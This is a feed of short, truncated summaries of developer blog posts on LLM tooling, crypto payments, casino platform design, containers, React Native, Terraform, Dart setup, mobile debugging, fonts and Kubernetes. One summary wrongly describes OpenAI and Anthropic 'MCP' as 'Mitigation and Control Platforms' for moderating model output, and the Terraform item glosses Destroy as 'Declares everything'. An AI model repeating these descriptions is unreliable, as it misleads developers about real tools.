    LLMForge.dev: A Free Toolkit for Building with AI Models If you're building with GPT-4, Claude, Gemini, Llama, or other LLMs, you've probably hit these pain points: Guessing token costs and managing budgets Comparing models across different providers Figuring out context window limits Dealing with chunking and embeddings Generating JSON schemas for function calling Testing and optimizing prompts Visualizing RAG pipelines Most devs bounce between docs, spreadsheets, random calculators, and custom scripts just to answer basic questions. *LLM Forge (llmforge.dev) * solves this with 14+ practical tools in one place — completely free, no sign-up required. Token Counter – See exactly how many tokens your text uses Token Cost Calculator – Estimate API costs before deployment Embedding Cost Calc…  ( 7 min )
    On-Ramps Are Solved — Off-Ramps Aren’t. Here’s Why It Matters
    More and more remote workers and freelancers are being paid in cryptocurrency. It’s fast, global, and convenient — until it isn’t. Most everyday expenses — rent, utilities, groceries — are still in euros, creating a growing tension between crypto income and real-world spending. On-Ramps vs Off-Ramps Regulatory Complexity How Fintech Is Responding This growing friction is driving fintech innovation: Crypto-linked debit cards that auto-convert assets to fiat at the point of purchase Hybrid accounts that let users hold crypto while spending euros Payroll services that manage volatility and tax reporting Platforms that simplify movement between crypto and traditional banking Exchanges like Coinbase, WhiteBIT etc are expanding their services to make on/off-ramp operations smoother, reflecting a broader trend: trading platforms are evolving into full-scale financial gateways. Read more about this here Bottom Line The gap between earning crypto and spending fiat is the biggest obstacle to mainstream adoption. Solving it is not just a convenience — it’s essential to making crypto a practical, everyday financial tool. As off-ramp infrastructure improves, digital assets can truly become a part of real-world finance.  ( 7 min )
    Як побудувати ядро онлайн-казино: архітектура, модулі та інтеграції
    Розробка ядра онлайн-казино — це складна інженерна задача, яка вимагає глибокого розуміння фінансових транзакцій, регуляторних вимог та високого навантаження. У цій статті розглянемо ключові компоненти, які складають серце будь-якого сучасного iGaming платформи. Ядро казино складається з декількох критичних сервісів, які працюють разом для забезпечення безперервної роботи: ┌─────────────────────────────────────────────────────┐ │ API Gateway │ │ (Rate Limiting, Auth) │ └─────────────────┬───────────────────────────────────┘ │ ┌─────────┴─────────┬──────────────┬──────────┐ │ │ │ │ ┌────▼────┐ ┌──────▼─────┐ ┌───▼────┐ ┌──▼──────┐ │ …  ( 11 min )
    An Overview of Muathemewpgiare.com: What the Platform Offers and Why It Matters
    In the world of WordPress development, having access to the right themes, plugins, and digital resources can make or break a project. Whether you’re a freelancer, agency owner, or business website manager, premium WordPress tools often define the overall quality, performance, and user experience of your site. Muathemewpgiare.com has emerged as a platform dedicated to offering these tools at more accessible prices. This overview explores what the platform is, what it provides, and why it has become useful for many WordPress users. What Is Muathemewpgiare.com? Muathemewpgiare.com is a digital service platform designed to make premium WordPress themes and plugins more affordable and accessible. It focuses on providing users with a broad selection of high-quality tools that are widely used in …  ( 8 min )
    Building Container Images Without Docker: Introducing pycontainer-build
    What if you could build production-ready container images for your Python projects without installing Docker, writing Dockerfiles, or dealing with daemon dependencies? That's the vision behind pycontainer-build — a native, Docker-free container image builder for Python. Today, containerizing Python applications typically requires: Installing Docker Desktop or Docker Engine — Not always possible in locked-down corporate environments, cloud IDEs like GitHub Codespaces, or CI/CD runners Writing and maintaining Dockerfiles — Boilerplate, multi-stage builds, and keeping base images updated Understanding Docker-specific concepts — Layers, build contexts, caching strategies Docker-in-Docker in CI — Complex and fragile setups with privileged containers These friction points slow down developer onb…  ( 10 min )
    Mastering UI Animations in React Native Using Reanimated — A Practical Guide
    Animations are often treated as an optional enhancement in mobile apps. Many developers open a Figma file, inspect layout spacing, apply colors, build screens, and move on — without ever thinking about motion. But animations are not decoration. They are communication. They guide attention, improve perceived performance, and make the UI feel natural. Without them, interfaces feel abrupt and lifeless. There are multiple animation libraries in the React Native ecosystem — the built-in Animated API, Moti, LayoutAnimation, and Reanimated. Each works differently and serves different use cases, but in this guide, we’ll focus specifically on the Reanimated library. Animations improve the UX in four major ways: They explain UI changes They reduce perceived waiting time They make transitions smoot…  ( 9 min )
    What happens when the perfect prompt is achieved, but the de
    What happens when the perfect prompt is achieved, but the desired outcome is still suboptimal due to biases in the data used to train the AI model? Does this signify the need for a new paradigm in AI development, one that prioritizes data curation over prompt engineering? Publicado automáticamente  ( 6 min )
    Ship Features, Not Spreadsheets: Wiring Your App Straight Into the Finance Stack
    You’ve probably lived this sprint-from-hell before. Product wants “self-serve revenue dashboards.” Sales wants “real-time MRR.” Finance wants “clean numbers by Monday.” You, naturally, get the request at 4:45 p.m. on Friday… and somehow it always ends with yet another CSV export from your app and a forest of spreadsheets on someone’s shared drive. The irony: your product already emits almost everything finance needs. It’s just trapped in logs, databases, and SaaS tools that were never designed to be a single source of truth. This post is about fixing that from the engineering side. Not by becoming an accountant, but by treating finance as another downstream consumer of your event stream—and wiring your app into the finance stack in a way that’s repeatable, testable, and boring enough to tr…  ( 11 min )
    Fintech Is Transforming Into a Full-Scale Tech Ecosystem — And Developers Are the Ones Driving It
    For years, fintech was seen as a patchwork of separate services: payment processors here, banking APIs there, crypto exchanges somewhere on the side. Each solved a narrow problem, often without deep integration or a shared architecture. But the industry has quietly crossed a critical threshold — it’s no longer a set of tools. It’s becoming an interconnected digital infrastructure layer, and this shift fundamentally changes the developer’s role in fintech. We’re entering a phase where building financial products looks less like feature development and more like ecosystem engineering. The modern fintech stack increasingly spans payments, identity, compliance automation, real-time risk scoring, blockchain rails, tokenized assets, data streaming, and multi-cloud infrastructure — all operating …  ( 7 min )
    A Day in the Life of a DevOps Engineer Who Handles Cloud Work
    Most articles about DevOps pretend the job is smooth and predictable. Anyone who has actually done the work knows that this is not true. A DevOps engineer who also handles cloud responsibilities lives in a rhythm that is equal parts pressure, problem solving, and quiet satisfaction. It is a role that demands technical depth, clear thinking, and the ability to stay calm when everyone else is pushing their problems toward you. Morning: Checking the Health of the System Your day usually begins with a quick scan of alerts, logs, and monitoring dashboards. This is not a relaxed ritual. It is a check to confirm that nothing catastrophic happened during the night. Sometimes everything looks fine on the surface, but you can already sense trouble. Maybe an auto healing group replaced a node. This i…  ( 8 min )
    API UP — an API as a Service
    Hey everyone! It’s not a no-code toy — it generates a real async Python backend (compiled to C), with: You can create an API, deploy it, and start calling it from your frontend or mobile app in minutes. You can test the UI and play with the system here: https://apiup.ai Documentation: https://docs.apiup.ai Would love feedback — especially from backend and SaaS folks.  ( 6 min )
    Introducing brew-coffee - One Command Dev Environment Setup
    If you’ve ever onboarded to a new project, switched laptops, or tried spinning up a fresh dev setup, you probably know the pain inconsistent environments, missing packages, broken dependencies, endless brew installs… So I built brew-coffee a lightweight, modular, Homebrew-powered CLI that turns environment setup into a 10-second, zero-stress, fully reproducible process. brew-coffee is a simple CLI wrapper around Homebrew bundles. It helps you: Install entire developer environments with a single command Use curated bundles for programming languages, cloud providers, and dev tools Reuse modular Brewfiles for clean organization Check, clean, or list bundles easily Keep your setup consistent across machines or teams git clone https://github.com/n4en/brew-coffee.git cd brew-coffee chmod +x ./coffee.sh ./coffee.sh list Example: - python - nodejs - aws - azure - gcp - k8s - infra - dev Single bundle: ./coffee.sh install python Multiple bundles: ./coffee.sh install python nodejs aws Install everything: ./coffee.sh install Check one bundle: ./coffee.sh check aws Check all: ./coffee.sh check Remove only what belongs to the bundle: ./coffee.sh clean aws Clean all bundles: ./coffee.sh clean ⚠️ Important about Homebrew behavior: ./coffee.sh install All bundles live in the bundles/ directory and follow the format: .Brewfile touch bundles/my-new-bundle.Brewfile Install it: ./coffee.sh install my-new-bundle Feel free to add/remove packages to suit your workflow or your team’s environment standards. Contributions are welcome! You can: Add new tech stack bundles Improve the CLI scripts Enhance documentation If you’ve ever wished for a one-command, clean, and repeatable dev setup on macOS — brew-coffee might save you a lot of time. Give it a try here: https://github.com/n4en/brew-coffee If you find it helpful, feel free to ⭐ star the repo or open a PR!  ( 7 min )
    Inheritance in Java
    What is inheritance: It is the mechanism by which object of one class act as object of another class. Here, one class can inherit the features (fields and methods) of another class. This is one of the fundamental concept in OOPs. A class that inherits from another class can reuse the methods and fields of that class. To inherit from a class, we use the extend keyword. Syntax: class Parent { void display() { System.out.println(" parent class."); } } class Child extends Parent { void show() { System.out.println(" child class."); } } Ex: Here, there are two different classes : ClassRoom class and Student class. public class ClassRoom{ public static void main (String[] args){ ClassRoom cr = new ClassRoom(); cr.learnJava(); } public void learnJava(){ System.out…  ( 7 min )
    Day 01 – Intro to Terraform & Infrastructure as Code (IaC)
    What is Infrastructure as Code(IaC)? why this matters: It keeps your infrastructure consistent. You can track every change using Git. It reduces manual mistakes. You can recreate the same setup anytime. IaC basically brings software-like discipline into infrastructure management. What is Terraform? cloud-agnostic -> works with AWS, Azure, GCP, Kubernetes, Cloudflare and more. Declarative -> You describe what you want, and Terraform builds it. Easy to version control -> because everything is written in files. Powered by providers -> AWS, Azure, GCP etc. each have their own provider plugin. One thing that stood out to me was Terraform's state file. Terraform stores the details of all created resources inside a file called terraform.tfstate. This helps Terraform understand what already exists and what changes need to be made. Terraform Workflow: Write -> Create .tf file. Init -> Downloads provider plugins. Plan -> Shows what Terraform will create or modify. Apply -> Makes the actual changes in your cloud account. Destroy -> Declares everything when you're done. This workflow makes Terraform predictable and safe.  ( 6 min )
    Comparing Open AI MCP and Anthropic MCP
    Comparing OpenAI MCP and Anthropic MCP: Safeguarding LLMs with Mitigation and Control Platforms As Large Language Models (LLMs) become increasingly integrated into diverse applications, the need for robust safety mechanisms to mitigate potential harms like misinformation, bias, and harmful content generation is paramount. Both OpenAI and Anthropic, leading AI developers, offer Mitigation and Control Platforms (MCPs) designed to address these challenges. This article provides a comparative analysis of OpenAI's and Anthropic's MCPs, exploring their purpose, features, code examples, and installation processes. 1. Purpose: OpenAI MCP: Designed primarily to control and moderate the output of OpenAI models, ensuring adherence to OpenAI's usage policies and promoting responsible AI development.…  ( 9 min )
    Untitled
    Check out this Pen I made!  ( 6 min )
    The Art of Software Architecture: A Desi Developer's Guide to Building Systems That Actually Work
    Yaar, we've all been there - sitting in those endless architecture review meetings where everyone's throwing around buzzwords like "microservices" and "cloud-native," but when push comes to shove, the system crashes during the first demo to client. Sound familiar? Let's cut through the noise and understand what really makes software architecture tick - from managing your team dynamics to building systems that won't give you sleepless nights. SOFTWARE ARCHITECTURE | ┌──────────────────────┼──────────────────────┐ | | | TEAM DYNAMICS TECHNICAL DESIGN QUALITY & PROCESS | …  ( 14 min )
    why i built yet another todo app
    Building personal software is an extremely rewarding experience, both in creation and consumption. Writing software for yourself can feel like cooking - adding ingredients you like, removing the gross asparagus, adjusting the spices to your taste. Using your own software feels like putting on a really old, cozy, snug sweater. tsk started as a side project with my friend, sharing ideas and coming up with different designs for a task manager and calendar app. We worked on it on and off for a while, until recently I decided to challenge myself to finally complete the project and publish it. my only requirement: build it so I would enjoy using it, daily. If you want to try it out, just head over to tsk.lol - no signup or waitlist required. But, for the curious, here’s some more behind the scen…  ( 8 min )
    The Long Way Home: How We Left the Server, Built a Client Empire, and Came Back Again
    In 2010, the web was simple. PHP, Rails, or a bit of jQuery on top of some Twig templates. The server rendered the page, you clicked a link, the browser fetched a new one. That was it. It was predictable. Honest. And slow. Then we saw the future — and it was running in the browser. What if the client handled everything? No refreshes, no full reloads, just pure JavaScript bliss. We sprinted into that future with React, Redux, Angular, and a thousand frameworks that promised to make the web feel alive. And then, somewhere along the way, we started missing the simplicity we left behind. Server templates were simple — and static. If you wanted interactivity, you reached for jQuery or hand-rolled AJAX calls. Here’s how a basic product list with a “like” button might have looked: <ul id="product…  ( 13 min )
    How to Connect PostgreSQL to Power BI Using Local PostgreSQL and Aiven
    Power BI is one of the leading business intelligence tools for analyzing and visualizing data. It provides multiple ways to load data, including direct connections to databases. This article explains how to connect Power BI to both a local PostgreSQL database and a cloud-based PostgreSQL database hosted on Aiven, a fully managed data platform for open-source databases. Connecting to a Local PostgreSQL Database Before connecting Power BI to your local database, ensure that: PostgreSQL is installed and running on your machine. You can successfully connect to the database using a tool like DBeaver. Step 1: Note down connection details Open DBeaver. Right-click your database connection and select Edit Connection. Note the following details: Setting Example Host localhost Port 5432 D…  ( 8 min )
    Browser Dev Tools for Mobile!
    Browser Dev Tools for Mobile! Intro Modern day web browsers provide an important tool that we, web devs love and live for. The DevTools. We use it for Debugging the JavaScript code on the client side. Test and tweak the styles. View the webpage in 3D to understand z-index. Intercepting HTTP requests. View the webpage on different devices' screen dimensions. Basically, it's the Swiss Army Knife that makes our lives easier. ## BUT!! How about doing the same stuff on the mobile devices? What if there's a bug that's showing up in only the mobile devices? Well, I personally have run into such cases several times and there's honestly no mobile App that's going to save our bum or at least make things easy. Well good news for us because I've found an approach that honestly blew my mind! ## The Solution I'm using my Android Smartphone as I write this article. And we'll be using Chrome browser. This approach has a tiny prerequisite: You need to have developer options enabled on your smartphone before you proceed. Both your PC and your smartphone should be under the same network. We'll be using the Chrome Browser for this article. This means that you'll be needing Chrome both your PC and your smartphone. That's it! Now let's go step by step, shall we? Connect your smartphone with your computer with a USB cable. Open Chrome browser on your PC and type the following URL on the URL bar: chrome://inspect/#devices Now, once you connect your phone with your PC, you'll see the following message on your notification tray. Click on it. Search for Wireless Debugging. Then allow it. Now open your chrome browser from your phone and open any website. Then look at your PC's chrome browser and you'll find all the tabs opened on your phone. Like so. inspect. And if you have come this far, thank you so much! Please let me know if I missed anything! Peace ✌  ( 7 min )
    The hidden pitfalls of building online marketplaces
    Building a marketplace sounds straightforward until you're knee-deep in edge cases nobody warned you about. After watching countless marketplace projects stumble over the same hidden obstacles, I've compiled this list of critical issues that are being overlooked consistently. Your product team says: "Just show available inventory in real-time." But in reality, a seller lists their handmade jewelry on your platform, Etsy, Instagram, and their own website. By the time your customer clicks "buy," it's already sold elsewhere. Now you're processing refunds and apologizing while your trust score plummets. Most teams discover this after launch when angry customers start leaving reviews about "fake inventory." The real problem? You can't control what happens outside your platform. Building "real…  ( 8 min )
    Testing Reinvented: Why Test Coverage Is the Wrong Metric
    When testing consumes considerable amount of your development cycle, AI changes everything. But most organizations are optimizing for the wrong goal. I have guided engineering organizations through every major technology evolution over the past two decades, including the migration from manual QA to automated suites, waterfall phases to continuous testing in DevOps pipelines. The AI transformation is different. It requires reconceiving what testing means and who does it. Traditional testing treated quality as verification. Write code, write tests (or vice versa when using TDD), run tests, fix bugs. AI makes that sequence obsolete. When AI generates comprehensive test suites in hours, analyzes production telemetry to identify untested paths, and predicts failures before they happen, the bott…  ( 14 min )
    Angular - Custom MatPaginator Styling
    One of my more popular articles that I’ve published is Angular: MatPaginator Custom Styling, which shows how to transform Angular Material’s paginator (on a mat-table) using a custom directive to make it look more appealing. I decided to update this article because since then, two major things have changed. It was originally written for Angular v14, and since then we’ve received the major Angular Material MDC components, which caused quite a few issues for people updating their projects, along with some smaller Angular improvements. Also, in my previous article, I was accessing some private methods of the MatPaginator component. In the GIF below, you can see the final example we’ll be building. You can also find the full source code in this GitHub repository. I will start this blog post b…  ( 14 min )
    The saltiest and wrongest article about Big O ever
    Sigh... So you want to learn about Big O Notation huh? Welp, you came to the wrong place, but stay for the ride AS YOU WALK INTO MY RANT ABOUT THIS THING FOR 20 PARAGRAPHS! YES, I'M SCREAMING. Ok. Maybe some people do, but it is VERY specific and rare. What am I talking about? Look at this function: function foo(list) { const foo = []; list.forEach(item => item.bars.forEach(bar => foo.push(bar))); return foo; } If you just thought "Oh, that is an O(n^2)" then you are a Big O pervert. Sorry. I don't make the rules. In 15 years of web development, nobody ever reached out to me and talked in Big O terms. People would reach out to me and say "Yeah, that function is doing a nested loop. Maybe we can figure out a way of not doing it", like decent people. But hey, Big O is not that bad,…  ( 8 min )
    Por qué ETH sigue siendo el favorito de los desarrolladores en 2025 (y por qué integrarlo ahora es más fácil que nunca)
    Ethereum ha recorrido un largo camino desde ser “esa blockchain que ejecuta smart contracts”. En 2025, es básicamente la columna vertebral de la mitad de las herramientas con las que los desarrolladores están experimentando: redes L2, zk-rollups, protocolos de restaking, cadenas modulares y un sinfín de nuevos proyectos de infraestructura. Pero más allá del hype, la razón por la que ETH sigue siendo el favorito de los desarrolladores es simple: Ya sea que estés creando aplicaciones descentralizadas, trabajando con activos tokenizados o experimentando con integraciones entre IA y blockchain, ETH suele ser el activo más confiable, documentado e interoperable. 🚀 ¿Qué hace que Ethereum siga siendo tan relevante para los desarrolladores? 1. El ecosistema de desarrolladores más sólido Desde her…  ( 7 min )
    AltSchool Of Engineering Tinyuka’24 Month 9 Week 4
    This week’s classes kicked off with our usual revision session, you can catch up on it here. Afterwards, we dove straight into Infrastructure as Code & Containerization (and more). Let’s take a look! Modern cloud engineering is defined by two foundational pillars: Infrastructure as Code (IaC) and Containerization. These technologies have completely transformed how teams provision environments, deploy applications, and scale systems replacing manual configurations with automation, consistency, and lightning-fast delivery cycles. This article breaks down the journey from IaC fundamentals to advanced concepts, how containerization complements IaC, and real-world examples of how companies use both to operate at global scale. Infrastructure as Code is the practice of defining, provisioning, an…  ( 9 min )
    Common LINQ Methods with Examples in .NET Core
    Here's a comprehensive list of LINQ (Language Integrated Query) extension methods available in .NET Core. These methods are part of the System.Linq namespace and are used to query collections, databases, XML, and other data sources. Where: Filters a sequence based on a predicate. Select: Projects each element of a sequence into a new form. SelectMany: Projects each element of a sequence to an IEnumerable and flattens the resulting sequences into one sequence. OrderBy: Sorts elements in ascending order. OrderByDescending: Sorts elements in descending order. ThenBy: Performs a secondary sort in ascending order. ThenByDescending: Performs a secondary sort in descending order. Reverse: Reverses the order of the sequence. Distinct: Returns distinct elements from a sequence. Union: Produces the …  ( 18 min )
    The Practical Guide to Optimizing @font-face
    Web fonts are one of the easiest places to lose performance—and one of the easiest to fix. Most sites ship multiple formats, oversized files, or unnecessary weights. Here's a compact guide to optimizing your fonts the right way. woff2 is the smallest, fastest, and most compressed format. eot svg ttf A clean modern declaration looks like: @font-face { font-family: 'Poppins'; src: url('Poppins.woff2') format('woff2'); font-weight: 400; font-style: normal; font-display: swap; } If you still support older environments, fallbacks are fine—but keep them minimal: @font-face { font-family: 'Poppins'; src: url('Poppins.woff2') format('woff2'), url('Poppins.woff') format('woff'); font-weight: 400; font-display: swap; } Many projects include full font families (100–900) when they only use 400 and 600. Audit your CSS → keep only what you need. font-display: swap It eliminates invisible text (FOIT) and improves perceived performance. font-display: swap; This ensures text renders immediately using a fallback font, then swaps when the custom font loads. Most font files include far more glyphs than you need: Cyrillic Arabic Vietnamese Symbols Full Unicode ranges If your site uses only Latin characters, subsetting can reduce file sizes by up to 70–90%. Two great tools: https://transfonter.org/ (Upload → subset → download optimized woff2) https://gwfh.mranftl.com/fonts (Self-host Google Fonts + get correctly pre-built subsets) For your main UI font, consider preloading: Use woff2 (and fallback to woff) Remove eot, svg, and ttf unless required Keep only the weights you use Always include font-display: swap Subset using Transfonter or Google Webfonts Helper Preload critical fonts Small changes → big wins. Typography stays beautiful, performance gets faster, and you ship fewer kilobytes.  ( 7 min )
    Why I'm Moving From .NET to JavaScript
    I’ve spent years building enterprise systems in the .NET ecosystem. But over time, I started to notice something. That’s where the modern JavaScript ecosystem stands out. React, Next.js and Node let you build full products end to end. This shift is not about abandoning .NET. So I’m starting a new chapter. If you’re also making the same transition You’re not alone Let’s build better things together  ( 6 min )
    The Map of Modern APIs: REST, GraphQL, RPC, Serverless & Webhooks
    A simple, practical guide to how different API styles actually work - and when to use which. Every backend uses APIs; but APIs themselves come in many shapes. After writing two chapters on: how APIs behave how they grow in complexity …the final missing piece is understanding how different API styles work, and how they shape your architecture, your frontend, and even your debugging workflow. This chapter aims to be that map; clean, visual, and beginner-safe. 1. REST, GraphQL, RPC, Serverless & Webhooks - The Simple Definitions Let’s start with one-sentence clarity. REST (Representational State Transfer) A URL represents a resource, and HTTP verbs represent actions. Analogy: Ordering from a fixed menu. GraphQL Ask the server exactly for the data you want. Analogy: A custom order instea…  ( 9 min )
    All Sites of Mobbin Categorized by 94 Segments
    Navigating on Mobbin is not fun, especially if you are doing research in depth for different vertical. I've segmented around ~100 categories to help you to better categorize + put micro-categories to make it well sorted/segmented. 💳 Everyday Banking Mobile-first accounts for daily life. Name Micro Category Description Tags Link Chime Everyday Banking Fee-free banking built for gig workers who need early access to paychecks. Gen Z, Budget-Conscious, US Link Monzo Everyday Banking UK's go-to for organizing money into savings "pots" with instant spending alerts. Millennial, Organizer, UK Link Starling Bank Everyday Banking Professional-grade mobile banking serving UK freelancers and small businesses. Freelancer, Business Owner, UK Link N26 Everyday Banking Minimalist European …  ( 53 min )
    DDD CRUD-Like Repository
    The repository pattern is an essential part of object-oriented software development. It has become the most popular abstraction to retrieve data from the database and map them into business objects (Aggregates). Lately I have noticed that many developers choose to restrict their repository to follow a CRUD (Create, Read, Update, and Delete) pattern, where the methods' names are generic and contain a verb associated with CRUD such as get or delete. The methods are stay highly versatile by accepting a object parameter with many properties so the consumer ca re-use the method in many different scenarios. Example of a User repository interface (typescript): export interface IUserRepository { getUser({ id?: number, email?: string, role?: string }): Promise } This pattern seem to be lo…  ( 7 min )
    Dart - instalación y configuración en Ubuntu
    Recomiendo ver antes - instalacion de Homebrew y asdf en ubuntu ( es corto son 5 comandos) Dart - Docu Dart - On DevDocs.io Shelf — Simple para APIs. Dart Frog — A fast, minimalistic backend framework for Dart Angel — Estilo Express, más completo. Serverpod — Más grande, orientado a microservicios, . Nota: No olvidemos que lo mas importante que tiene hoy Dart es Flutter, aunque casi que necesitat su propio apartado Por APT (via repositorio oficial) sudo apt update sudo apt install apt-transport-https sudo sh -c 'wget -qO- https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add -' sudo sh -c 'wget -qO /etc/apt/sources.list.d/dart_stable.list https://storage.googleapis.com/dart-archive/channels/stable/release/latest/linux_packages/dart_stable.list' sudo apt update sudo apt inst…  ( 8 min )
    Ringer Movies: Best Picture Power Rankings & the Super-Sincerity of ‘Sentimental Value'
    Best Picture Power Rankings & the Super-Sincerity of ‘Sentimental Value’ Sean Fennessey and Amanda Dobbins kick things off by breaking down Warner Bros. Discovery’s looming sale—will Paramount, Comcast or Netflix swoop in?—before tearing into the baffling new Colleen Hoover flick Regretting You (starring Allison Williams and Dave Franco), which left them scratching their heads. Next up, they dive deep on Joachim Trier’s Sentimental Value, pondering why its earnest vibes click for some viewers and totally miss the mark for others. The episode wraps with Trier himself calling in to reveal how much of his own life shaped Stellan Skarsgård’s character, why being a good listener makes for great storytelling, and what it was like shooting in his childhood neighborhood. Watch on YouTube  ( 6 min )
    Optimizing Push Notification Logging at Scale - From Synchronous Bottleneck to Async Batching
    How I transformed notification logging from a blocking operation to a non-blocking batch system, handling 100,000+ logs efficiently? After refactoring my Firebase notification service into a queue-based architecture (Part 1) and breaking down the monolith into clean utilities (Part 2), I hit another bottleneck: logging. Saving push notification results to the database was blocking my notification sending pipeline, adding 30-50% overhead to every batch operation. Here's how I transformed the logging system from a synchronous bottleneck into an efficient asynchronous batch processor that handles 100,000+ logs without breaking a sweat. In the refactored queue-based system, the flow looked like this: Query DB → Filter Users → Send Notifications → ❌ WAIT for logs to save → Next chunk …  ( 18 min )
    Teaching Feature Flags to a Junior Changed How I Think About Architecture
    In a recent sprint, one of my junior developers asked me how *LaunchDarkly * actually fits into our React-Native-Web codebase. Not just the syntax — but the system around it. It turned into one of my best mentoring sessions this year. We discussed the fundamentals: LaunchDarkly’s purpose in multi-platform environments Why feature flags matter more than config toggles How variations allow safe experimentation How rules can target specific user segments Why controlled rollouts reduce production anxiety And how our RN-Web setup consumes flags in a unified pattern What surprised me wasn’t the complexity — it was how powerful these concepts become once a developer truly understands them. Teaching this reminded me of a simple truth: And sometimes, the biggest impact you make isn’t shipping a feature… It’s helping someone else ship one, safely.  ( 6 min )
    How to Embed a Wallet SDK in Your App (2025 Best Practices)
    TL;DR Embedding a wallet SDK is no longer just about generating keys and sending transactions. In 2025, it’s about onboarding flows, session keys, smart accounts, gas abstraction, and a UX that feels like any modern app. This guide walks through best practices used by production teams, patterns we’ve seen building Openfort’s embedded wallet SDK, and the architectural mistakes to avoid. 1. What “Embedding a Wallet SDK” Actually Means Most people think “wallet SDK” = signing transactions. In reality, embedding a wallet SDK means your app: creates a wallet inside your app’s UI manages authentication → (email, passkey, OAuth, device) handles key sessions creates + manages smart accounts (EOA → SCW) abstracts gas or sponsors transactions orchestrates signatures securely on web, mobile, or …  ( 9 min )
    Peer dependencies in (P)NPM
    If you dive into the specification of package.json you might be surprised to learn that next to the options dependencies and devDependencies there are also the options bundleDependencies, optionalDependencies and peerDependencies. Recently we have been migrating our main application to an architecture with multiple frontends based on NextJS. Since we have shared components and logic we expose these as packages with peer dependencies. And I found that a good number of my colleagues are unfamiliar with peer dependencies. In order to explain peer dependencies, it is beneficial to first look at how NPM and PNPM work. Whenever you install a dependency in your project, this dependency can have other dependencies (these are typically referred to as non-root dependencies or transitive dependencies…  ( 13 min )
    Inheritance vs Composition: The Principle of Independent Variation Explains Why
    Inheritance vs Composition: The Principle of Independent Variation Explains Why "Favor composition over inheritance" is one of the most cited design guidelines in software engineering. But have you ever wondered why this works—and more importantly, when inheritance is actually appropriate? The Principle of Independent Variation (PIV) provides a clear, principled answer by focusing on independent change drivers. PIV's guideline is elegantly simple: When two concerns vary independently → prefer composition When two concerns vary dependently → inheritance may be appropriate Let me show you what this means in practice. Consider a payment processing system. At first glance, you might design an inheritance hierarchy: abstract class Payment { // Infrastructure methods protected void log…  ( 10 min )
    Inheritance vs Composition: The Principle of Independent Variation Explains Why
    Inheritance vs Composition: The Principle of Independent Variation Explains Why "Favor composition over inheritance" is one of the most cited design guidelines in software engineering. But have you ever wondered why this works—and more importantly, when inheritance is actually appropriate? The Principle of Independent Variation (PIV) provides a clear, principled answer by focusing on independent change drivers. PIV's guideline is elegantly simple: When two concerns vary independently → prefer composition When two concerns vary dependently → inheritance may be appropriate Let me show you what this means in practice. Consider a payment processing system. At first glance, you might design an inheritance hierarchy: abstract class Payment { // Infrastructure methods protected void log…  ( 10 min )
    Turn Tweets Into Beautiful Images With <25 Lines of Code - A Practical Guide
    Social platforms love visuals. Tweets perform great, but screenshots? They're messy. Cropped weird. Inconsistent. Hard to brand. What if you could turn any tweet into a clean, polished, branded image with just a few lines of code? In this tutorial, you'll learn how to convert tweets into beautiful social-ready graphics using a simple REST API — no browser automation, no manual screenshots, and definitely no fiddling with design tools. Traditional screenshot APIs: Capture the whole browser with UI clutter Break when Twitter's layout changes Aren't consistent across devices Give you zero control over branding With a rendering-based endpoint, you can: Apply your brand fonts, colors, and watermarks Get a clean tweet layout every time Automate the whole process Use it for IG posts, LinkedIn …  ( 11 min )
    Drawing Triangles with CSS Using Borders… an Exception
    If you search online for how to draw a triangular shape in CSS, chances are the top results will still recommend the border method, as described in this 15-plus-year-old CSS-Tricks article: The idea is a box with zero width and height. The actual width and height of the arrow is determined by the width of the border. In an up arrow, for example, the bottom border is colored while the left and right are transparent, which forms the triangle. .arrow-up { width: 0; height: 0; border-left: 5px solid transparent; border-right: 5px solid transparent; border-bottom: 5px solid black; } I still stand by most of what I wrote in my original article: this method is a hacky solution from a time when there were no other CSS options. It works, but it isn't how borders were meant to be used. …  ( 8 min )
    10 idées de projets Web3 que les développeurs peuvent créer en 2025 pour améliorer leurs compétences et attirer des clients
    Les développeurs Web3 ont une opportunité unique en 2025. Les entreprises cherchent des solutions plus simples, les utilisateurs veulent de la transparence et les fondateurs early stage cherchent des prototypes rapides. La bonne nouvelle est que beaucoup de projets Web3 utiles peuvent être construits par un seul développeur. L’accessibilité du marché augmente aussi grâce aux services qui simplifient les interactions avec les actifs numériques. Les paiements crypto, par exemple, deviennent bien plus faciles pour les utilisateurs grâce à des outils comme MoonPay, ce qui permet aux développeurs de créer des produits Web3 plus intuitifs et plus compatibles avec le grand public. Voici dix idées concrètes que vous pouvez coder cette année. 1. Un explorateur Web3 minimaliste pour débutants Créer …  ( 7 min )
    Would a self-hosting app store grow or ruin self-hosting?
    I’m curious what the community thinks about this scenario. Immich (photos) Nextcloud (files) Jellyfin (media) Vaultwarden (passwords) Home Assistant (smart home) Guacamole (remote access) With a simple click - install - runs locally flow. No VPS, no cloud dependency, no third-party servers. Just your own device on your own network. Would this: Because right now the barrier is objectively high for most people: Docker knowledge required Reverse proxy setups Domain routing SSL, certificates Backups Updates Port forwarding Security hardening Many of us enjoy that challenge, but most people won’t go through that for privacy. So which future would you prefer? -Self-hosting stays niche, technical, and exclusive -Self-hosting becomes mainstream, easy, and widely adopted This ongoing debate is shaping how we at Safebox create a new tool for running multiple self-hosted apps locally, and we aim to align with community values. Some technical highlights of the project, for those interested: If you’d like to try it out, check the Github repo: https://github.com/safeboxnetwork/framework-scheduler Website: https://safebox.network/ https://discord.gg/aBP8bz6N8J Thanks in advance to anyone who takes a look or shares their thoughts.  ( 7 min )
    Controlling Kubernetes Network Traffic - Part 2
    In part 1 of this series, I have discussed Ingress controllers and Gateway APIs as a way to control ingress traffic into applications deployed on top of a Kubernetes cluster. In the second of this series, I will discuss intra-cluster (East-West) traffic passed through inside a Kubernetes cluster (i.e., between the Pods) and egress traffic outside the Kubernetes cluster. Before we deep dive into the article, let's review some important concepts: Container Network Interface (CNI): A Cloud Native Computing Foundation project that provides a standardized specification and set of plugins for configuring network interfaces and connectivity for Linux containers (Reference: CNI - the Container Network Interface). Network Policies: Rules that control the allowed inbound and outbound network …  ( 12 min )
    All Data and AI Weekly #217-24Nov2025
